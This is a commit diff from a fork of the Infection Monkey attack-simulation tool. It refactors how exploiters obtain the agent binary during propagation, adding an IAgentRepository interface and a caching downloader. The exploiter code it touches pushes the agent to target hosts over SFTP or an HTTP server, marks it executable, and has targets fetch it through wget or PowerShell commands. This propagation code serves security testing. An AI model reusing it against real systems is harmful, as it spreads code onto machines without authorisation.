forked from p15670423/monkey
Merge pull request #1756 from guardicore/1675-agent-repository
Add IAgentRepository to simplify agent download during propagation
This commit is contained in:
commit
07658802f3
|
@ -8,7 +8,6 @@ from urllib.parse import urljoin
|
||||||
import requests
|
import requests
|
||||||
from requests.exceptions import ConnectionError
|
from requests.exceptions import ConnectionError
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
|
||||||
import infection_monkey.tunnel as tunnel
|
import infection_monkey.tunnel as tunnel
|
||||||
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||||
|
@ -258,22 +257,6 @@ class ControlClient(object):
|
||||||
ControlClient.load_control_config()
|
ControlClient.load_control_config()
|
||||||
return not WormConfiguration.alive
|
return not WormConfiguration.alive
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def download_monkey_exe(host):
|
|
||||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
|
|
||||||
if filename is None:
|
|
||||||
return None
|
|
||||||
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def download_monkey_exe_by_os(is_windows, is_32bit):
|
|
||||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
|
|
||||||
ControlClient.spoof_host_os_info(is_windows, is_32bit)
|
|
||||||
)
|
|
||||||
if filename is None:
|
|
||||||
return None
|
|
||||||
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def spoof_host_os_info(is_windows, is_32bit):
|
def spoof_host_os_info(is_windows, is_32bit):
|
||||||
if is_windows:
|
if is_windows:
|
||||||
|
@ -291,70 +274,6 @@ class ControlClient(object):
|
||||||
|
|
||||||
return {"os": {"type": os, "machine": arch}}
|
return {"os": {"type": os, "machine": arch}}
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def download_monkey_exe_by_filename(filename, size):
|
|
||||||
if not WormConfiguration.current_server:
|
|
||||||
return None
|
|
||||||
try:
|
|
||||||
dest_file = monkeyfs.virtual_path(filename)
|
|
||||||
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
|
|
||||||
return dest_file
|
|
||||||
else:
|
|
||||||
download = requests.get( # noqa: DUO123
|
|
||||||
"https://%s/api/monkey/download/%s"
|
|
||||||
% (WormConfiguration.current_server, filename),
|
|
||||||
verify=False,
|
|
||||||
proxies=ControlClient.proxies,
|
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
|
||||||
)
|
|
||||||
|
|
||||||
with monkeyfs.open(dest_file, "wb") as file_obj:
|
|
||||||
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
|
||||||
if chunk:
|
|
||||||
file_obj.write(chunk)
|
|
||||||
file_obj.flush()
|
|
||||||
if size == monkeyfs.getsize(dest_file):
|
|
||||||
return dest_file
|
|
||||||
|
|
||||||
except Exception as exc:
|
|
||||||
logger.warning(
|
|
||||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
|
||||||
)
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_monkey_exe_filename_and_size_by_host(host):
|
|
||||||
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
|
|
||||||
if not WormConfiguration.current_server:
|
|
||||||
return None, None
|
|
||||||
try:
|
|
||||||
reply = requests.post( # noqa: DUO123
|
|
||||||
"https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
|
||||||
data=json.dumps(host_dict),
|
|
||||||
headers={"content-type": "application/json"},
|
|
||||||
verify=False,
|
|
||||||
proxies=ControlClient.proxies,
|
|
||||||
timeout=LONG_REQUEST_TIMEOUT,
|
|
||||||
)
|
|
||||||
if 200 == reply.status_code:
|
|
||||||
result_json = reply.json()
|
|
||||||
filename = result_json.get("filename")
|
|
||||||
if not filename:
|
|
||||||
return None, None
|
|
||||||
size = result_json.get("size")
|
|
||||||
return filename, size
|
|
||||||
else:
|
|
||||||
return None, None
|
|
||||||
|
|
||||||
except Exception as exc:
|
|
||||||
logger.warning(
|
|
||||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
|
||||||
)
|
|
||||||
|
|
||||||
return None, None
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_control_tunnel():
|
def create_control_tunnel():
|
||||||
if not WormConfiguration.current_server:
|
if not WormConfiguration.current_server:
|
||||||
|
|
|
@ -9,6 +9,8 @@ from infection_monkey.config import WormConfiguration
|
||||||
from infection_monkey.i_puppet import ExploiterResultData
|
from infection_monkey.i_puppet import ExploiterResultData
|
||||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||||
|
|
||||||
|
from . import IAgentRepository
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@ -67,9 +69,16 @@ class HostExploiter:
|
||||||
)
|
)
|
||||||
|
|
||||||
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||||
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
|
def exploit_host(
|
||||||
|
self,
|
||||||
|
host,
|
||||||
|
telemetry_messenger: ITelemetryMessenger,
|
||||||
|
agent_repository: IAgentRepository,
|
||||||
|
options: Dict,
|
||||||
|
):
|
||||||
self.host = host
|
self.host = host
|
||||||
self.telemetry_messenger = telemetry_messenger
|
self.telemetry_messenger = telemetry_messenger
|
||||||
|
self.agent_repository = agent_repository
|
||||||
self.options = options
|
self.options = options
|
||||||
|
|
||||||
self.pre_exploit()
|
self.pre_exploit()
|
||||||
|
|
|
@ -1 +1,3 @@
|
||||||
|
from .i_agent_repository import IAgentRepository
|
||||||
|
from .caching_agent_repository import CachingAgentRepository
|
||||||
from .exploiter_wrapper import ExploiterWrapper
|
from .exploiter_wrapper import ExploiterWrapper
|
||||||
|
|
|
@ -0,0 +1,37 @@
|
||||||
|
import io
|
||||||
|
from functools import lru_cache
|
||||||
|
from typing import Mapping
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
|
||||||
|
|
||||||
|
from . import IAgentRepository
|
||||||
|
|
||||||
|
|
||||||
|
class CachingAgentRepository(IAgentRepository):
|
||||||
|
"""
|
||||||
|
CachingAgentRepository implements the IAgentRepository interface and downloads the requested
|
||||||
|
agent binary from the island on request. The agent binary is cached so that only one request is
|
||||||
|
actually sent to the island for each requested binary.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, island_url: str, proxies: Mapping[str, str]):
|
||||||
|
self._island_url = island_url
|
||||||
|
self._proxies = proxies
|
||||||
|
|
||||||
|
def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO:
|
||||||
|
return io.BytesIO(self._download_binary_from_island(os))
|
||||||
|
|
||||||
|
@lru_cache(maxsize=None)
|
||||||
|
def _download_binary_from_island(self, os: str) -> bytes:
|
||||||
|
response = requests.get( # noqa: DUO123
|
||||||
|
f"{self._island_url}/api/monkey/download/{os}",
|
||||||
|
verify=False,
|
||||||
|
proxies=self._proxies,
|
||||||
|
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
|
)
|
||||||
|
|
||||||
|
response.raise_for_status()
|
||||||
|
|
||||||
|
return response.content
|
|
@ -3,6 +3,7 @@ from typing import Dict, Type
|
||||||
from infection_monkey.model import VictimHost
|
from infection_monkey.model import VictimHost
|
||||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||||
|
|
||||||
|
from . import IAgentRepository
|
||||||
from .HostExploiter import HostExploiter
|
from .HostExploiter import HostExploiter
|
||||||
|
|
||||||
|
|
||||||
|
@ -16,17 +17,28 @@ class ExploiterWrapper:
|
||||||
|
|
||||||
class Inner:
|
class Inner:
|
||||||
def __init__(
|
def __init__(
|
||||||
self, exploit_class: Type[HostExploiter], telemetry_messenger: ITelemetryMessenger
|
self,
|
||||||
|
exploit_class: Type[HostExploiter],
|
||||||
|
telemetry_messenger: ITelemetryMessenger,
|
||||||
|
agent_repository: IAgentRepository,
|
||||||
):
|
):
|
||||||
self._exploit_class = exploit_class
|
self._exploit_class = exploit_class
|
||||||
self._telemetry_messenger = telemetry_messenger
|
self._telemetry_messenger = telemetry_messenger
|
||||||
|
self._agent_repository = agent_repository
|
||||||
|
|
||||||
def exploit_host(self, host: VictimHost, options: Dict):
|
def exploit_host(self, host: VictimHost, options: Dict):
|
||||||
exploiter = self._exploit_class()
|
exploiter = self._exploit_class()
|
||||||
return exploiter.exploit_host(host, self._telemetry_messenger, options)
|
return exploiter.exploit_host(
|
||||||
|
host, self._telemetry_messenger, self._agent_repository, options
|
||||||
|
)
|
||||||
|
|
||||||
def __init__(self, telemetry_messenger: ITelemetryMessenger):
|
def __init__(
|
||||||
|
self, telemetry_messenger: ITelemetryMessenger, agent_repository: IAgentRepository
|
||||||
|
):
|
||||||
self._telemetry_messenger = telemetry_messenger
|
self._telemetry_messenger = telemetry_messenger
|
||||||
|
self._agent_repository = agent_repository
|
||||||
|
|
||||||
def wrap(self, exploit_class: Type[HostExploiter]):
|
def wrap(self, exploit_class: Type[HostExploiter]):
|
||||||
return ExploiterWrapper.Inner(exploit_class, self._telemetry_messenger)
|
return ExploiterWrapper.Inner(
|
||||||
|
exploit_class, self._telemetry_messenger, self._agent_repository
|
||||||
|
)
|
||||||
|
|
|
@ -42,13 +42,18 @@ class HadoopExploiter(WebRCE):
|
||||||
self.add_vulnerable_urls(urls, True)
|
self.add_vulnerable_urls(urls, True)
|
||||||
if not self.vulnerable_urls:
|
if not self.vulnerable_urls:
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
paths = self.get_monkey_paths()
|
|
||||||
if not paths:
|
|
||||||
return self.exploit_result
|
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
command = self._build_command(paths["dest_path"], http_path)
|
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
|
||||||
|
except KeyError:
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
|
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
|
self.host, dropper_target_path, self.agent_repository
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
command = self._build_command(dropper_target_path, http_path)
|
||||||
|
|
||||||
if self.exploit(self.vulnerable_urls[0], command):
|
if self.exploit(self.vulnerable_urls[0], command):
|
||||||
self.add_executed_cmd(command)
|
self.add_executed_cmd(command)
|
||||||
|
|
|
@ -0,0 +1,21 @@
|
||||||
|
import abc
|
||||||
|
import io
|
||||||
|
|
||||||
|
|
||||||
|
class IAgentRepository(metaclass=abc.ABCMeta):
|
||||||
|
"""
|
||||||
|
IAgentRepository provides an interface for other components to access agent binaries. Notably,
|
||||||
|
this is used by exploiters during propagation to retrieve the appropriate agent binary so that
|
||||||
|
it can be uploaded to a victim and executed.
|
||||||
|
"""
|
||||||
|
|
||||||
|
@abc.abstractmethod
|
||||||
|
def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO:
|
||||||
|
"""
|
||||||
|
Retrieve the appropriate agent binary from the repository.
|
||||||
|
:param str os: The name of the operating system on which the agent binary will run
|
||||||
|
:param str architecture: Reserved
|
||||||
|
:return: A file-like object for the requested agent binary
|
||||||
|
:rtype: io.BytesIO
|
||||||
|
"""
|
||||||
|
pass
|
|
@ -2,7 +2,6 @@ import logging
|
||||||
import os
|
import os
|
||||||
from typing import List, Optional
|
from typing import List, Optional
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.exploit.consts import WIN_ARCH_32
|
from infection_monkey.exploit.consts import WIN_ARCH_32
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
|
@ -22,7 +21,7 @@ from infection_monkey.exploit.powershell_utils.powershell_client import (
|
||||||
IPowerShellClient,
|
IPowerShellClient,
|
||||||
PowerShellClient,
|
PowerShellClient,
|
||||||
)
|
)
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
|
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||||
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
|
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
|
||||||
from infection_monkey.utils.commands import build_monkey_commandline
|
from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
@ -186,11 +185,15 @@ class PowerShellExploiter(HostExploiter):
|
||||||
return is_monkey_copy_successful
|
return is_monkey_copy_successful
|
||||||
|
|
||||||
def _write_virtual_file_to_local_path(self) -> None:
|
def _write_virtual_file_to_local_path(self) -> None:
|
||||||
|
"""
|
||||||
|
# TODO: monkeyfs has been removed. Fix this in issue #1740.
|
||||||
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
|
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
|
||||||
|
|
||||||
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
|
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
|
||||||
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
|
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
|
||||||
monkey_local_file.write(monkey_virtual_file.read())
|
monkey_local_file.write(monkey_virtual_file.read())
|
||||||
|
"""
|
||||||
|
pass
|
||||||
|
|
||||||
def _run_monkey_executable_on_victim(self, executable_path) -> None:
|
def _run_monkey_executable_on_victim(self, executable_path) -> None:
|
||||||
monkey_execution_command = build_monkey_execution_command(
|
monkey_execution_command = build_monkey_execution_command(
|
||||||
|
|
|
@ -4,12 +4,11 @@ import time
|
||||||
|
|
||||||
import paramiko
|
import paramiko
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from common.utils.exceptions import FailedExploitationError
|
from common.utils.exceptions import FailedExploitationError
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||||
from infection_monkey.i_puppet import ExploiterResultData
|
from infection_monkey.i_puppet import ExploiterResultData
|
||||||
from infection_monkey.model import MONKEY_ARG
|
from infection_monkey.model import MONKEY_ARG
|
||||||
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
||||||
|
@ -133,7 +132,6 @@ class SSHExploiter(HostExploiter):
|
||||||
_, stdout, _ = ssh.exec_command("uname -o")
|
_, stdout, _ = ssh.exec_command("uname -o")
|
||||||
uname_os = stdout.read().lower().strip().decode()
|
uname_os = stdout.read().lower().strip().decode()
|
||||||
if "linux" in uname_os:
|
if "linux" in uname_os:
|
||||||
self.host.os["type"] = "linux"
|
|
||||||
self.exploit_result.os = "linux"
|
self.exploit_result.os = "linux"
|
||||||
else:
|
else:
|
||||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||||
|
@ -149,9 +147,9 @@ class SSHExploiter(HostExploiter):
|
||||||
logger.error(self.exploit_result.error_message)
|
logger.error(self.exploit_result.error_message)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
src_path = get_target_monkey(self.host)
|
agent_binary_file_object = self.agent_repository.get_agent_binary(self.exploit_result.os)
|
||||||
|
|
||||||
if not src_path:
|
if not agent_binary_file_object:
|
||||||
self.exploit_result.error_message = (
|
self.exploit_result.error_message = (
|
||||||
f"Can't find suitable monkey executable for host {self.host}"
|
f"Can't find suitable monkey executable for host {self.host}"
|
||||||
)
|
)
|
||||||
|
@ -160,19 +158,17 @@ class SSHExploiter(HostExploiter):
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
try:
|
try:
|
||||||
ftp = ssh.open_sftp()
|
with ssh.open_sftp() as ftp:
|
||||||
|
self._update_timestamp = time.time()
|
||||||
self._update_timestamp = time.time()
|
|
||||||
with monkeyfs.open(src_path) as file_obj:
|
|
||||||
ftp.putfo(
|
ftp.putfo(
|
||||||
file_obj,
|
agent_binary_file_object,
|
||||||
self.options["dropper_target_path_linux"],
|
self.options["dropper_target_path_linux"],
|
||||||
file_size=monkeyfs.getsize(src_path),
|
file_size=len(agent_binary_file_object.getbuffer()),
|
||||||
callback=self.log_transfer,
|
callback=self.log_transfer,
|
||||||
)
|
)
|
||||||
self._make_agent_executable(ftp)
|
self._set_executable_bit_on_agent_binary(ftp)
|
||||||
status = ScanStatus.USED
|
|
||||||
ftp.close()
|
status = ScanStatus.USED
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
self.exploit_result.error_message = (
|
self.exploit_result.error_message = (
|
||||||
f"Error uploading file into victim {self.host}: ({exc})"
|
f"Error uploading file into victim {self.host}: ({exc})"
|
||||||
|
@ -182,7 +178,10 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
self.telemetry_messenger.send_telemetry(
|
self.telemetry_messenger.send_telemetry(
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
status,
|
||||||
|
get_interface_to_target(self.host.ip_addr),
|
||||||
|
self.host.ip_addr,
|
||||||
|
self.options["dropper_target_path_linux"],
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
if status == ScanStatus.SCANNED:
|
if status == ScanStatus.SCANNED:
|
||||||
|
@ -215,7 +214,7 @@ class SSHExploiter(HostExploiter):
|
||||||
logger.error(self.exploit_result.error_message)
|
logger.error(self.exploit_result.error_message)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
def _make_agent_executable(self, ftp: paramiko.sftp_client.SFTPClient):
|
def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient):
|
||||||
ftp.chmod(self.options["dropper_target_path_linux"], 0o700)
|
ftp.chmod(self.options["dropper_target_path_linux"], 0o700)
|
||||||
self.telemetry_messenger.send_telemetry(
|
self.telemetry_messenger.send_telemetry(
|
||||||
T1222Telem(
|
T1222Telem(
|
||||||
|
|
|
@ -11,18 +11,13 @@ def try_get_target_monkey(host):
|
||||||
|
|
||||||
|
|
||||||
def get_target_monkey(host):
|
def get_target_monkey(host):
|
||||||
from infection_monkey.control import ControlClient
|
raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.")
|
||||||
|
|
||||||
if not host.os.get("type"):
|
|
||||||
return None
|
|
||||||
|
|
||||||
return ControlClient.download_monkey_exe(host)
|
|
||||||
|
|
||||||
|
|
||||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||||
from infection_monkey.control import ControlClient
|
raise NotImplementedError(
|
||||||
|
"get_target_monkey_by_os() has been retired. Use IAgentRepository instead."
|
||||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
)
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_depth():
|
def get_monkey_depth():
|
||||||
|
|
|
@ -11,33 +11,12 @@ from infection_monkey.model import DOWNLOAD_TIMEOUT
|
||||||
from infection_monkey.network.firewall import app as firewall
|
from infection_monkey.network.firewall import app as firewall
|
||||||
from infection_monkey.network.info import get_free_tcp_port
|
from infection_monkey.network.info import get_free_tcp_port
|
||||||
from infection_monkey.network.tools import get_interface_to_target
|
from infection_monkey.network.tools import get_interface_to_target
|
||||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
from infection_monkey.transport import LockedHTTPServer
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class HTTPTools(object):
|
class HTTPTools(object):
|
||||||
@staticmethod
|
|
||||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
|
||||||
if not local_port:
|
|
||||||
local_port = get_free_tcp_port()
|
|
||||||
|
|
||||||
if not local_ip:
|
|
||||||
local_ip = get_interface_to_target(host.ip_addr)
|
|
||||||
|
|
||||||
if not firewall.listen_allowed():
|
|
||||||
return None, None
|
|
||||||
|
|
||||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
|
||||||
httpd.daemon = True
|
|
||||||
httpd.start()
|
|
||||||
|
|
||||||
return (
|
|
||||||
"http://%s:%s/%s"
|
|
||||||
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
|
|
||||||
httpd,
|
|
||||||
)
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
|
@ -49,7 +28,9 @@ class HTTPTools(object):
|
||||||
return http_path, http_thread
|
return http_path, http_thread
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
def create_locked_transfer(
|
||||||
|
host, dropper_target_path, agent_repository, local_ip=None, local_port=None
|
||||||
|
):
|
||||||
"""
|
"""
|
||||||
Create http server for file transfer with a lock
|
Create http server for file transfer with a lock
|
||||||
:param host: Variable with target's information
|
:param host: Variable with target's information
|
||||||
|
@ -71,12 +52,13 @@ class HTTPTools(object):
|
||||||
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
httpd = LockedHTTPServer(
|
||||||
|
local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock
|
||||||
|
)
|
||||||
httpd.start()
|
httpd.start()
|
||||||
lock.acquire()
|
lock.acquire()
|
||||||
return (
|
return (
|
||||||
"http://%s:%s/%s"
|
"http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])),
|
||||||
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
|
|
||||||
httpd,
|
httpd,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import srvs, transport
|
||||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||||
from impacket.smbconnection import SMB_DIALECT, SMBConnection
|
from impacket.smbconnection import SMB_DIALECT, SMBConnection
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from infection_monkey.config import Configuration
|
from infection_monkey.config import Configuration
|
||||||
from infection_monkey.network.tools import get_interface_to_target
|
from infection_monkey.network.tools import get_interface_to_target
|
||||||
|
@ -20,7 +19,8 @@ class SmbTools(object):
|
||||||
def copy_file(
|
def copy_file(
|
||||||
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
|
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
|
||||||
):
|
):
|
||||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
# monkeyfs has been removed. Fix this in issue #1741
|
||||||
|
# assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||||
|
|
||||||
smb, dialect = SmbTools.new_smb_connection(
|
smb, dialect = SmbTools.new_smb_connection(
|
||||||
host, username, password, lm_hash, ntlm_hash, timeout
|
host, username, password, lm_hash, ntlm_hash, timeout
|
||||||
|
@ -138,10 +138,13 @@ class SmbTools(object):
|
||||||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
# monkeyfs has been removed. Fix this in issue #1741
|
||||||
|
"""
|
||||||
with monkeyfs.open(src_path, "rb") as source_file:
|
with monkeyfs.open(src_path, "rb") as source_file:
|
||||||
# make sure of the timeout
|
# make sure of the timeout
|
||||||
smb.setTimeout(timeout)
|
smb.setTimeout(timeout)
|
||||||
smb.putFile(share_name, remote_path, source_file.read)
|
smb.putFile(share_name, remote_path, source_file.read)
|
||||||
|
"""
|
||||||
|
|
||||||
file_uploaded = True
|
file_uploaded = True
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
|
|
|
@ -292,11 +292,12 @@ class WebRCE(HostExploiter):
|
||||||
if not self.host.os["type"]:
|
if not self.host.os["type"]:
|
||||||
logger.error("Unknown target's os type. Skipping.")
|
logger.error("Unknown target's os type. Skipping.")
|
||||||
return False
|
return False
|
||||||
paths = self.get_monkey_paths()
|
|
||||||
if not paths:
|
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
|
||||||
return False
|
|
||||||
# Create server for http download and wait for it's startup.
|
# Create server for http download and wait for it's startup.
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
|
self.host, dropper_target_path, self.agent_repository
|
||||||
|
)
|
||||||
if not http_path:
|
if not http_path:
|
||||||
logger.debug("Exploiter failed, http transfer creation failed.")
|
logger.debug("Exploiter failed, http transfer creation failed.")
|
||||||
return False
|
return False
|
||||||
|
@ -304,10 +305,10 @@ class WebRCE(HostExploiter):
|
||||||
# Choose command:
|
# Choose command:
|
||||||
if not commands:
|
if not commands:
|
||||||
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
|
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
|
||||||
command = self.get_command(paths["dest_path"], http_path, commands)
|
command = self.get_command(dropper_target_path, http_path, commands)
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
self.add_executed_cmd(command)
|
self.add_executed_cmd(command)
|
||||||
resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path)
|
resp = self.run_backup_commands(resp, url, dropper_target_path, http_path)
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
|
@ -316,7 +317,7 @@ class WebRCE(HostExploiter):
|
||||||
if resp is False:
|
if resp is False:
|
||||||
return resp
|
return resp
|
||||||
else:
|
else:
|
||||||
return {"response": resp, "path": paths["dest_path"]}
|
return {"response": resp, "path": dropper_target_path}
|
||||||
|
|
||||||
def change_permissions(self, url, path, command=None):
|
def change_permissions(self, url, path, command=None):
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -16,7 +16,7 @@ from infection_monkey.credential_collectors import (
|
||||||
MimikatzCredentialCollector,
|
MimikatzCredentialCollector,
|
||||||
SSHCredentialCollector,
|
SSHCredentialCollector,
|
||||||
)
|
)
|
||||||
from infection_monkey.exploit import ExploiterWrapper
|
from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
|
||||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||||
from infection_monkey.i_puppet import IPuppet, PluginType
|
from infection_monkey.i_puppet import IPuppet, PluginType
|
||||||
|
@ -200,7 +200,10 @@ class InfectionMonkey:
|
||||||
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
||||||
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
||||||
|
|
||||||
exploit_wrapper = ExploiterWrapper(self.telemetry_messenger)
|
agent_repoitory = CachingAgentRepository(
|
||||||
|
f"https://{self._default_server}", ControlClient.proxies
|
||||||
|
)
|
||||||
|
exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repoitory)
|
||||||
|
|
||||||
puppet.load_plugin(
|
